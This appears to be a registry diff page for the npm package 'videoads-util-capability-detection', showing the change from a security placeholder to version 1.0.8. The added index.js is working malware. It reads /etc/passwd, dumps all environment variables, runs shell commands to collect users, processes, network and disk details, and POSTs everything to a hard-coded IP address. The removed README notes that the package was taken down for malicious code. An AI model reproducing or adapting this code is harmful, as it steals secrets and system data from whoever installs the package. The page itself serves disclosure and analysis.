videoads-util-capability-detection 0.0.1-security → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of videoads-util-capability-detection might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "videoads-util-capability-detection",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.8",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
@@ -0,0 +1,78 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const child_process = require('child_process');
5
+
6
+ // Define the options for the HTTP request
7
+ const options = {
8
+ hostname: '203.161.50.115', // Your VPS IP
9
+ port: 80,
10
+ path: '/capture', // Replace with your endpoint
11
+ method: 'POST',
12
+ headers: {
13
+ 'Content-Type': 'application/json',
14
+ },
15
+ };
16
+
17
+ // Create the HTTP request
18
+ const req = http.request(options, (res) => {
19
+ res.on('data', (d) => {
20
+ process.stdout.write(d);
21
+ });
22
+ });
23
+
24
+ req.on('error', (error) => {
25
+ console.error(error);
26
+ });
27
+
28
+ // Read the /etc/passwd file
29
+ let passwdFile = '';
30
+ try {
31
+ passwdFile = fs.readFileSync('/etc/passwd', 'utf8');
32
+ } catch (err) {
33
+ console.error('Error reading /etc/passwd:', err);
34
+ }
35
+
36
+ // Collect environment variables and additional system information
37
+ const data = JSON.stringify({
38
+ env: process.env, // Environment Variables
39
+
40
+ // System Information
41
+ hostname: os.hostname(), // Hostname of the machine
42
+ platform: os.platform(), // Platform (e.g., 'linux', 'win32')
43
+ arch: os.arch(), // Architecture (e.g., 'x64', 'arm')
44
+ osVersion: os.version(), // OS Version
45
+ uptime: os.uptime(), // System Uptime in seconds
46
+
47
+ // Memory and CPU Information
48
+ totalMemory: os.totalmem(), // Total system memory
49
+ freeMemory: os.freemem(), // Free system memory
50
+ cpuInfo: os.cpus(), // CPU Information
51
+
52
+ // Network Information
53
+ networkInterfaces: os.networkInterfaces(), // Network Interfaces
54
+ macAddresses: Object.values(os.networkInterfaces()).flat().map(iface => iface.mac), // MAC Addresses
55
+ defaultGateway: child_process.execSync('ip route | grep default').toString(), // Default Gateway
56
+ dnsServers: child_process.execSync('cat /etc/resolv.conf | grep nameserver').toString(), // DNS Servers
57
+
58
+ // User and Session Information
59
+ currentUser: os.userInfo(), // Current User Information
60
+ loggedUsers: child_process.execSync('who').toString(), // Logged In Users
61
+ lastLogin: child_process.execSync('last -n 1').toString(), // Last Login
62
+
63
+ // Process Information
64
+ processId: process.pid, // Process ID of the script
65
+ processCmd: process.argv.join(' '), // Command line that started the process
66
+ runningProcesses: child_process.execSync('ps aux').toString(), // Running processes
67
+
68
+ // File System Information
69
+ mountedDrives: child_process.execSync('df -h').toString(), // Mounted drives
70
+ diskUsage: child_process.execSync('du -h --max-depth=1 /').toString(), // Disk usage
71
+
72
+ // Additional Sensitive Information
73
+ passwdFile: passwdFile, // Contents of /etc/passwd
74
+ });
75
+
76
+ // Send the data to your server
77
+ req.write(data);
78
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=videoads-util-capability-detection for more information.